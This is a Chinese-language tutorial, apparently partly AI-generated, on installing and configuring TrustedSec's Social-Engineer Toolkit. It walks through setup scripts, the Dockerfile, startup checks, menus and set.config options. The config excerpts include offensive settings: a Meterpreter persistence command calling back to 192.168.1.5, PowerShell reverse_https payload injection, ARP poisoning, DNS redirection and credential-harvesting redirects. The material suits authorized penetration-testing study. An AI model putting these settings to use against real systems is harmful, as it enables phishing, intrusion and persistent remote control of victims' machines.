
Social-Engineer Toolkit 安装部署与运行机制详解从 requirements.txt 到 SET 主菜单【免费下载链接】social-engineer-toolkitThe Social-Engineer Toolkit (SET) repository from TrustedSec - All new versions of SET will be deployed here.项目地址: https://gitcode.com/GitHub_Trending/so/social-engineer-toolkitSocial-Engineer ToolkitSET是 TrustedSec 出品的开源社会工程渗透测试框架。本文以仓库根目录的 README.md 为主体完整讲解 SET 的官方定位、支持平台与三种安装方式并结合 setup.py、setoolkit、requirements.txt 与 Dockerfile 等仓库源码剖析 SET 从依赖安装、目录部署到主菜单启动的完整运行链路帮助读者独立完成安装并理解其底层配置机制。一、SET 是什么项目定位与使用边界README 对 SET 的定义非常明确The Social-Engineer Toolkit is an open-source penetration testing framework designed for social engineering. SET has a number of custom attack vectors that allow you to make a believable attack quickly.即 SET 是一个面向社会工程Social Engineering场景的开源渗透测试框架内置多种自定义攻击向量attack vectors目标是快速构造可信的攻击链路。它由 David KennedyReL1K编写出自位于美国俄亥俄州克利夫兰的信息安全咨询公司 TrustedSec。README 同时给出了明确的使用边界DISCLAIMERSET 仅可用于测试目的且只能在获得严格授权strict consent的环境中使用禁止任何非法用途。这一约束同样体现在代码中setoolkit 主脚本在首次启动时会打印 readme/LICENSE 的完整许可条款并要求用户输入y确认同意服务条款确认后会在src/agreement4中写入标记之后不再重复提示。关于作者与致谢、变更历史等背景信息仓库readme/目录还提供了 CREDITS、CHANGELOG 以及专门针对 RATTE 负载的 RATTE_README.txt 可供延伸阅读。支持的平台README 声明的支持平台为Linux主要支持Mac OS Xexperimental实验性从 setoolkit 源码可以印证这一边界脚本通过core.check_os()判断操作系统类型在posix环境下会执行root 权限检查——如果os.geteuid() ! 0SET 会直接提示 Not running as root 并退出。也就是说在 Linux/Mac 上运行 SET 必须以 root 身份启动这是官方入口脚本硬编码的前提条件。二、安装方式一requirements.txt setup.py源码安装推荐README 给出的标准源码安装流程Install via requirements.txt为pip3 install -r requirements.txt python3 setup.py2.1 依赖清单requirements.txt 都装了什么requirements.txt 共声明了 9 个 Python 依赖每一行都对应 SET 的某类核心能力依赖包在 SET 中的作用pexpect驱动自动化模式seautomate通过伪终端与 SET 交互pycrypto提供 AES 等加密能力setoolkit 启动时校验Crypto.Cipher.AES是否可用缺失会导致 multi-pyinjector 功能不可用requestsWeb 攻击向量、站点克隆等网络请求能力pyopensslWeb 攻击中的 SSL/TLS 证书支持pefile解析 PE 可执行文件Windows 二进制处理impacketWindows 网络协议攻击如 Fast-Track 中的 PSEXEC 注入qrcodeQRCode Generator Attack Vector 菜单生成二维码pillow二维码生成所需的图像处理pymssql3.0Fast-Track 中的 Microsoft SQL Bruter注释说明 pymssql 项目已停更因此锁定在 3.0 以下版本其中pymssql3.0的版本锁定是一个值得注意的细节上游项目被弃置后SET 选择冻结到最后一个可用版本以保证 MSSQL 暴力破解模块见 src/fasttrack/mssql.py的兼容性。2.2 setup.py 做了什么安装链路源码级拆解README 只写了python3 setup.py一行而 setup.py 的实际内容是一个快速安装器执行顺序如下再次安装依赖pip3 install -r requirements.txt与手动步骤幂等可重复执行部署文件mkdir /usr/local/share/setoolkit/; mkdir /etc/setoolkit/; cp -rf * /usr/local/share/setoolkit/; cp src/core/config.baseline /etc/setoolkit/set.config全部 SET 文件被复制到/usr/local/share/setoolkit/基准配置文件 src/core/config.baseline 被复制为系统级配置/etc/setoolkit/set.config创建启动器在/usr/local/bin/setoolkit写入一个 shell 包装脚本内容为cd /usr/local/share/setoolkit ./setoolkit赋可执行权限chmod x /usr/local/bin/setoolkit。这也解释了 setoolkit 入口脚本里的路径探测逻辑若当前目录没有setoolkit文件则检查并切换至/usr/local/share/setoolkit或/usr/local/share/set旧版安装路径并把该目录加入sys.path。完成安装后用户直接运行setoolkit即可启动无需再手动pip3 install——这正是 README 强调的easily install … without needing pip的由来。2.3 Linux 完整克隆安装流程README 中 Linux 一节的完整命令序列为git clone SET 官方仓库地址 setoolkit/ cd setoolkit pip3 install -r requirements.txt python setup.py即克隆仓库到setoolkit/目录 → 安装 Python 依赖 → 执行setup.py完成上述文件部署与启动器创建。Windows 10 WSL / WSL2 Kali Linux 用户README 单独给出了 WSL 场景的简化命令sudo apt install set -y其原因是Kali on Windows 属于最小化安装默认不带任何工具而 Kali 官方源中的set包已经封装好了上述源码安装流程因此 WSL/WSL2 用户可以直接用 apt 一键安装无需手工 pip。三、安装方式二基于 Dockerfile 的容器化部署仓库根目录提供了 Dockerfile给出了一条与 README 源码安装等价、但完全可复现的容器化路径。其关键步骤与 README 的安装流程一一对应FROM ubuntu:latest RUN apt-get update -y apt-get install -y git python3-pip RUN git clone --depth1 https://github.com/trustedsec/social-engineer-toolkit.git WORKDIR /social-engineer-toolkit RUN pip3 install -r requirements.txt # 对应 pip3 install -r requirements.txt RUN python3 setup.py # 对应 python3 setup.py ENTRYPOINT [ ./setoolkit ]值得注意的工程细节使用--depth1浅克隆减少镜像体积ENTRYPOINT [ ./setoolkit ]使容器启动即进入 SET 交互主菜单由于容器内通常以 root 运行恰好满足 setoolkit 的 root 权限检查。四、仓库结构与核心入口文件安装完成后仓库顶层各文件的分工如下文件角色setoolkit主入口脚本root 检查 → 配置自检 → 许可确认 → 主菜单循环setup.py快速安装器部署到/usr/local/share/setoolkit并创建/usr/local/bin/setoolkit启动器seautomate自动化驱动用pexpect把菜单选择序列回放给 SETseupdate更新工具调用core.update_set()从 Git 拉取 SET 更新seproxy代理配置工具交互式写入~/.set/proxy.configrequirements.txtPython 依赖清单Dockerfile容器化部署定义src/全部功能源码核心src/core/、社会工程攻击src/phishing/、src/webattack/、Fast-Tracksrc/fasttrack/、载荷src/payloads/、Teensysrc/teensy/、无线src/wireless/等readme/许可、致谢、变更日志、User_Manual.pdf 用户手册五、SET 启动运行机制从 main 脚本到主菜单理解 setoolkit 的启动流程能解释 SET 每次运行时的诸多行为5.1 启动自检与配置版本管理脚本在加载主菜单前依次完成对应 setoolkit若/etc/setoolkit/不存在则创建并把 src/core/config.baseline 复制为set.config配置版本强校验读取set.config若其中不含CONFIG_VERSION7.7.9则把旧配置备份为set.config.bak并用基线覆盖——保证升级后配置项不缺失。这也是为什么 src/core/config.baseline 中专门维护了CONFIG_VERSION7.7.9行注意它与 src/core/set.version 中标注的 SET 版本8.0.3是两个独立计数器前者只用于配置格式兼容判断创建src/logs/set_logfile.log日志文件setoolkit在用户目录~/.set/即core.userconfigpath下建立reports等子目录用于存放攻击报告。5.2 可选的 DNS 服务器与文件清理若配置中DNS_SERVERonSET 会导入 src/core/minifakedns.py 并调用start_dns_server(detect_public_ip())启动内置 DNS 服务器setoolkit把所有解析请求指向 SET 实例自身实现 README 所在文档体系中把受害者流量引回攻击机的能力。此外脚本会用os.walk清理~/.set/下的残留文件跳过.svn等版本控制文件并维护set.options选项文件这是 SET 自我管理的运行时状态目录。5.3 主菜单结构许可确认后SET 进入while True主循环渲染 Banner 与主菜单。主菜单定义在 src/core/menu/text.py共 6 项加退出项1) Social-Engineering Attacks 社会工程攻击钓鱼、Web 攻击、感染媒体等 2) Penetration Testing (Fast-Track) 快速渗透测试MSSQL 爆破、SCCM、PSEXEC 等 3) Third Party Modules 第三方模块 4) Update the Social-Engineer Toolkit 更新 SET 5) Update SET configuration 更新 SET 配置 6) Help, Credits, and About 帮助、致谢与关于 99) Exit the Social-Engineer Toolkit 退出菜单项到模块的映射在 setoolkit 中实现选 1 加载src.core.set选 2 加载src.core.fasttrack选 3 加载src.core.module_handler对应modules/目录下的第三方模块选 4 调用core.update_set()。退出时还会执行清理kill_proc(80, python)和kill_proc(443, ruby)杀掉残留的监听进程setoolkit。主菜单之下各子菜单Spear-Phishing、Website Attack、Infectious Media、Mass Mailer、Arduino/Teensy、Wireless AP、QRCode、PowerShell 等见 text.py的具体功能README 指出的权威参考是官方用户手册 readme/User_Manual.pdfREADME 的 SET Tutorial 一节即指向该文档。六、set.config 关键配置项速览/etc/setoolkit/set.config由 src/core/config.baseline 生成是 README 安装流程落地的最终产物。基线文件头部注释说明了三类高频选项的语义摘选对实战影响最大的参数Metasploit 集成前提Metasploit 已安装METASPLOIT_PATH/opt/metasploit/apps/pro/msf3 # Metasploit 路径结尾不能带 / METASPLOIT_DATABASEpostgresql # 默认 PostgreSQL METASPLOIT_MODEON # 未装 MSF 时可关闭仅用 SET/RATTE 负载 ENCOUNT4 # 标准编码次数 AUTO_MIGRATEOFF # 会话自动迁移到 Notepad可能引入 bugMeterpreter 会话自动化METERPRETER_MULTI_SCRIPTOFF METERPRETER_MULTI_COMMANDSrun persistence -r 192.168.1.5 -p 21 -i 300 -X -A;getsystem # 命令间用 ; 分隔会话建立后自动执行网络与伪装ETTERCAPOFF / ETTERCAP_INTERFACEeth0 # ARP 缓存投毒仅内网子网有效 SENDMAILOFF / EMAIL_PROVIDERGMAIL # 邮件伪装需先 apt-get install sendmail WEB_PORT80 # Java Applet/MSF exploit 的 HTTP 服务端口 APACHE_SERVEROFF / APACHE_DIRECTORY/var/www/html DNS_SERVEROFF # 内置 DNS 重定向服务器 USER_AGENT_STRINGMozilla/5.0 (...) # 站点克隆使用的 User-AgentJava Applet 与 PowerShell 注入JAVA_REPEATEROFF / JAVA_TIME200 # 用户点取消后是否循环弹 Applet2002秒 POWERSHELL_INJECTIONON POWERSHELL_INJECT_PAYLOAD_X86windows/meterpreter/reverse_https POWERSHELL_MULTI_INJECTIONON POWERSHELL_MULTI_PORTS21,22,25,53,443 # 端口扫描式外联80 被 Web 服务器占用载荷处理UPX_ENCODEOFF / UPX_PATH/usr/bin/upx # UPX 压缩可执行文件 STAGE_ENCODINGOFF # Metasploit EnableStageEncoding AUTO_REDIRECTON # Multi-Attack 成功后自动跳转 HARVESTER_REDIRECTOFF / HARVESTER_URLhttp://thisisasite所有开关类参数仅接受ON/OFF基线文件头注释明确说明修改后在 SET 主菜单选 5Update SET configuration即可重建/etc/setoolkit/set_config.py使配置生效——对应 setoolkit 中update_config()的调用。七、配套命令行工具seautomate / seupdate / seproxyREADME 未展开、但仓库直接提供的三个辅助脚本是安装完成后如何高效使用 SET的重要补充7.1 seautomate菜单驱动的自动化seautomate 是一个SET 自动驱动器它用pexpect以子进程方式拉起setoolkitseautomate等待输出99) Exit the Social-Engineer Toolkit确认主菜单就绪后逐行读取用户给定的输入文件并向伪终端发送。用法./seautomate filename输入文件的格式就是菜单选项的序列例如2 2 2 https://gmail.com 2 2 443即按顺序模拟用户在各级菜单中的选择。特殊标记CONTROL-C-HERE可在指定提示处发送 Ctrl-Cseautomate。依赖pexpect缺失时会提示先安装并退出。7.2 seupdate从 Git 更新 SETseupdate 直接调用core.update_set()seupdate执行 git 更新拉取与主菜单第 4 项等价供已安装用户快速同步上游代码。7.3 seproxy代理配置工具seproxy 交互式询问代理服务器地址形如http://10.3.1.1:8080、用户名与密码将export http_proxy...写入~/.set/proxy.config随后同样清理 80/443 端口的残留进程seproxy。注意源码注释提醒由于以明文 export 形式写入该配置会出现在 shell 历史记录中。八、问题反馈与延伸阅读完整使用手册README 的 SET Tutorial 一节指向官方用户手册 readme/User_Manual.pdf它是各攻击向量详细操作步骤的权威文档许可条款readme/LICENSE首次启动时 SET 会强制展示并要求同意Bug 与功能增强README 提示通过项目仓库的 issue 渠道提交原文外链到上游仓库 issue 页此处不重复给出外链。九、小结一条可复现的部署路径综合 README 与源码一条从零到可运行的最短路径是git cloneSET 仓库WSL/Kali 用户可直接sudo apt install set -y跳过 2–4pip3 install -r requirements.txt安装 9 个 Python 依赖python3 setup.py完成向/usr/local/share/setoolkit的文件部署并生成/usr/local/bin/setoolkit启动器以root身份运行setoolkit确认许可条款进入 6 项主菜单按需修改/etc/setoolkit/set.config由 config.baseline 初始化再经主菜单 5 号项重建set_config.py使用 seautomate 回放菜单序列实现批量自动化使用 seupdate 同步上游。需要再次强调的是 README 给出的使用红线SET 仅限在获得严格授权的环境中用于渗透测试任何未授权的使用都违反其许可条款该条款在 setoolkit 启动流程中被显式确认。【免费下载链接】social-engineer-toolkitThe Social-Engineer Toolkit (SET) repository from TrustedSec - All new versions of SET will be deployed here.项目地址: https://gitcode.com/GitHub_Trending/so/social-engineer-toolkit创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考